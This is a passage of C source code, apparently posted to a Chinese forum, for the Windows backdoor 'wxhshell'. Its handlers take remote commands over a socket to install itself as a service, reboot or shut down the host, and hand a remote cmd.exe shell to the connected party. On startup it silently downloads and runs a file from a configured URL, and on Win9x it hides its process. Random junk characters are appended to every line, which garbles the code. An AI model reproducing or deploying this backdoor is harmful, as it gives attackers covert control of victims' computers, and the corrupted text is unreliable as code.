      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GjmPpKIu\  
    break; $T)EJe  
  } rk$$gXg9/  
  // 安装 z ]@ Q  
  case 'i': { bh9!OqK9K  
    if(Install()) Ch~2w)HAA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iAOm[=W  
    else 8hK\Ya:mP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e95x,|.-_  
    break; ># {,(8\  
    } &ZmHR^Flz  
  // 卸载 91 ]"D;NN  
  case 'r': { V@QWJZ"  
    if(Uninstall()) xTy[X"sJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yMQZulCWE  
    else ac-R q.GQY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  m,,FNYW  
    break; YhVV~bvz*  
    } VOj{&O2c  
  // 显示 wxhshell 所在路径 l Wa4X#~.  
  case 'p': { '_n J DM  
    char svExeFile[MAX_PATH]; u0)~Im,X  
    strcpy(svExeFile,"\n\r"); zO)>(E?  
      strcat(svExeFile,ExeFile); YL$#6d  
        send(wsh,svExeFile,strlen(svExeFile),0); /qYo*S_cG  
    break; ubpVrvu@  
    } k|Hxd^^I  
  // 重启 w _*|u  
  case 'b': { 7~2/NU?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zr&~gXmVS  
    if(Boot(REBOOT)) jP]I>Tq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3kl<~O|Fs  
    else { Z`?Z1SBt  
    closesocket(wsh); &_L FV@/  
    ExitThread(0); Kn WjP21  
    } !yo/ F& 6  
    break; L7_qs+  
    } qM."W=XVN  
  // 关机 _x.<Zc\x  
  case 'd': { :|GC~JElo5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W' DpI7  
    if(Boot(SHUTDOWN)) &m>yY{ be  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TTJFF\$?  
    else { m_ |:tU(t  
    closesocket(wsh); (#dwIBBFt  
    ExitThread(0); F|eKt/>e  
    } A@-A_=a,  
    break; /G zA89N(  
    } 63J_u-o  
  // 获取shell XzX-Q'i=n0  
  case 's': { O[N}@%HMW  
    CmdShell(wsh); *bl*R';  
    closesocket(wsh); $*%ipD}f  
    ExitThread(0); S690Y]:h$v  
    break; h\jV@g$  
  } wTpjM@F?J|  
  // 退出 * 5H  
  case 'x': { \Bg;^6U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ),G?f {`!  
    CloseIt(wsh); 5pOb;ry")`  
    break; q,ry3Nr4n  
    } k63]Qf=5?N  
  // 离开 +w(sDH~kd  
  case 'q': { jLANv{"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w3l+BUn:X  
    closesocket(wsh); P4M*vZq)  
    WSACleanup(); 3$.R=MQ7  
    exit(1); (BB&ZUdyv  
    break; c k$ > yk  
        } aR iD}P*V  
  } '8au j  
  } <.DFa/G   
kl0!*j  
  // 提示信息 (XQBBt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [hLSK-K 9  
} BCw5.@HK*  
  } x1gfo!BN  
-QUr|:SK:  
  return; ?r~|B/ ]  
} duCso M/  
ewo1^&#>  
// shell模块句柄 *PXlbb  
int CmdShell(SOCKET sock) )FNvtLZ  
{ '7+e!>"  
STARTUPINFO si; /[[_}\xI%  
ZeroMemory(&si,sizeof(si)); rmX'Ym9#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]BY^.!Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H nKO  
PROCESS_INFORMATION ProcessInfo; `^rN"\  
char cmdline[]="cmd"; X1 A~#w>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GI&XL'K&  
  return 0; Km5#$IiP;  
} Js`xTH'  
*5SOXrvhu6  
// 自身启动模式 "T*Sg  
int StartFromService(void) 20 j9~+  
{ ^ -s'Ad3  
typedef struct i.eu$~F  
{ U_/sY9gz(  
  DWORD ExitStatus; 7^{M:kYC!  
  DWORD PebBaseAddress; UDJ{ iZ  
  DWORD AffinityMask; Ueq*R(9>  
  DWORD BasePriority; 6ty>0  
  ULONG UniqueProcessId; g]'RwI  
  ULONG InheritedFromUniqueProcessId; oKl^Ttr  
}   PROCESS_BASIC_INFORMATION; TRQ@=.  
MwoU>+XB  
PROCNTQSIP NtQueryInformationProcess; QB<9Be@e  
3GH@|id  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wVI 1sR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =hs !t|(*  
mSn>  
  HANDLE             hProcess; 24ojjxz+  
  PROCESS_BASIC_INFORMATION pbi; yfBVy8Sm  
sh $mOy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z9:erKT   
  if(NULL == hInst ) return 0; )2@_V %  
x%acWeV5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *Q?ZJS ~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V3<baxdE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y*Egt`W  
#6XN_<  
  if (!NtQueryInformationProcess) return 0; B{\cV-X$0  
0JQ0lzk1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k{*IR  
  if(!hProcess) return 0; J3oEN'8S  
ub C(%Y_k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `yjHLg  
]9xuLJ)  
  CloseHandle(hProcess); %/l9$>{  
 8>Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -ZTe#@J  
if(hProcess==NULL) return 0; I~LN)hqdo  
P@ gVzx)M  
HMODULE hMod; a[<'%S#3x  
char procName[255]; XIM!]  
unsigned long cbNeeded; 5XSr K  
U@W3x@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~9&#7fU  
`>M-J-J  
  CloseHandle(hProcess); KeU|E<|!  
,o $F~KPu  
if(strstr(procName,"services")) return 1; // 以服务启动 sV8}Gv a  
XcOfQ s  
  return 0; // 注册表启动 AXUSU(hU  
} _:hrm%^  
o:H^ L,<Tl  
// 主模块 nXgnlb=  
int StartWxhshell(LPSTR lpCmdLine) Yp_ L.TTb  
{ C- Aiv@@<=  
  SOCKET wsl; :]EAlaB4Q  
BOOL val=TRUE; ].W)eMC*c(  
  int port=0; wVSM\  
  struct sockaddr_in door; =x9SvIm/tH  
{H]xA3[]  
  if(wscfg.ws_autoins) Install(); ~H[  
*R] Ob9X  
port=atoi(lpCmdLine); G ZxM44fP  
a;=)`  
if(port<=0) port=wscfg.ws_port; 2nSX90@:  
;x 9_  
  WSADATA data; en"]u,!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {!? @u?M  
!N\<QRb\q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _zAHN0d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R+'$V$g\X  
  door.sin_family = AF_INET; w! J|KM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _lWC)bv`  
  door.sin_port = htons(port); tUS)1*{_  
]V|rOtxb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P}So>P~2  
closesocket(wsl); ^*CvKCS  
return 1; y v6V1gK  
} RrFq"  
Rne#z2Ok  
  if(listen(wsl,2) == INVALID_SOCKET) { D?+\"lI  
closesocket(wsl); ~SI`%^L  
return 1; $uw[X  
} DtXQLL*fl(  
  Wxhshell(wsl); $;kFuJF  
  WSACleanup(); !Zo we*`  
(mO{ W   
return 0; j_` [Z  
s}2TJa  
} !+sC'/  
RMinZ}/  
// 以NT服务方式启动 s)Gnj;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bYPkqitqz  
{ nkI+"$Rz0  
DWORD   status = 0; _n6ge*,E  
  DWORD   specificError = 0xfffffff; 8Ld`$_E  
j -l#n&M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9Fo00"q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L1'PQV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;^XF;zpg  
  serviceStatus.dwWin32ExitCode     = 0; 12 8aJ  
  serviceStatus.dwServiceSpecificExitCode = 0; H1?t2\V4  
  serviceStatus.dwCheckPoint       = 0; [v@3|@  
  serviceStatus.dwWaitHint       = 0; xJG&vOf;?  
-^1}J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Zj=:;  
  if (hServiceStatusHandle==0) return; N>R\,n|I  
t>hoXn^-  
status = GetLastError(); 5yOIwzr&Uu  
  if (status!=NO_ERROR) eAU0 8gM.  
{ to2; . ~X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; se|>P=/  
    serviceStatus.dwCheckPoint       = 0; 1M1|Wp  
    serviceStatus.dwWaitHint       = 0; `IP?w&k)  
    serviceStatus.dwWin32ExitCode     = status; iA~LH6  
    serviceStatus.dwServiceSpecificExitCode = specificError; D4@).%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :;Lt~:0b~  
    return; CbvP1*1  
  } [Lck55V+Q  
xq6 eu 9   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &a;{ed1B  
  serviceStatus.dwCheckPoint       = 0; :G.u{cw  
  serviceStatus.dwWaitHint       = 0; @nC][gNv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b 7XTOB_HO  
} ;jgk53lo  
_Y{8FN(4  
// 处理NT服务事件,比如:启动、停止 mu#I F'|b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |`T$Iq  
{ =`MxgK +  
switch(fdwControl) ae%Bl[  
{ u+5&^"72,  
case SERVICE_CONTROL_STOP: *5|;eN  
  serviceStatus.dwWin32ExitCode = 0; oI\ Lepl*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .<m${yU{3  
  serviceStatus.dwCheckPoint   = 0; fL^$G;_?3  
  serviceStatus.dwWaitHint     = 0; !.2tv  
  { =3h?!$#?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DOaTp f  
  } ^}w@&Bje  
  return; %bN+Y'  
case SERVICE_CONTROL_PAUSE: :d AC:h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (Q]Ww_r~  
  break; |wxAdPe  
case SERVICE_CONTROL_CONTINUE: DpRGPs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5T*Uq>x0  
  break; G '1K6  
case SERVICE_CONTROL_INTERROGATE: 3_DwqZ 'O  
  break; 8O[br@h:5  
}; H=/;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u=6LPwiI  
} !_?K(X~/  
k)3b0T@b  
// 标准应用程序主函数 2_/H,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lXT+OJF  
{ R|@?6<  
yG' 5:  
// 获取操作系统版本 < `Xt?K  
OsIsNt=GetOsVer(); ^P!(* k#T  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  JT,[;  
;s$,}O.  
  // 从命令行安装 9ZD>_a  
  if(strpbrk(lpCmdLine,"iI")) Install(); +^6a$ N  
MJ\^i4  
  // 下载执行文件 euMJ c  
if(wscfg.ws_downexe) { #Dz. 58A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r"_U-w  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^g'P H{68  
} YigDrW  
E%b*MU  
if(!OsIsNt) { wbpz,  
// 如果时win9x,隐藏进程并且设置为注册表启动 $~ >/_<~  
HideProc(); 9#>t% IF~  
StartWxhshell(lpCmdLine); MaS-*;BY,  
} (y^svXU}a  
else SG4)kQ  
  if(StartFromService()) ?wi^R:2|j  
  // 以服务方式启动 )MWbZAI  
  StartServiceCtrlDispatcher(DispatchTable); kgb:<{pJ  
else Fv} Uq\v[  
  // 普通方式启动 @$7'{*  
  StartWxhshell(lpCmdLine); tqFE>ojlI  
r}\m%(i  
return 0; 3/{,}F$  
}
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只看该作者 1 发表于: 2006-10-10
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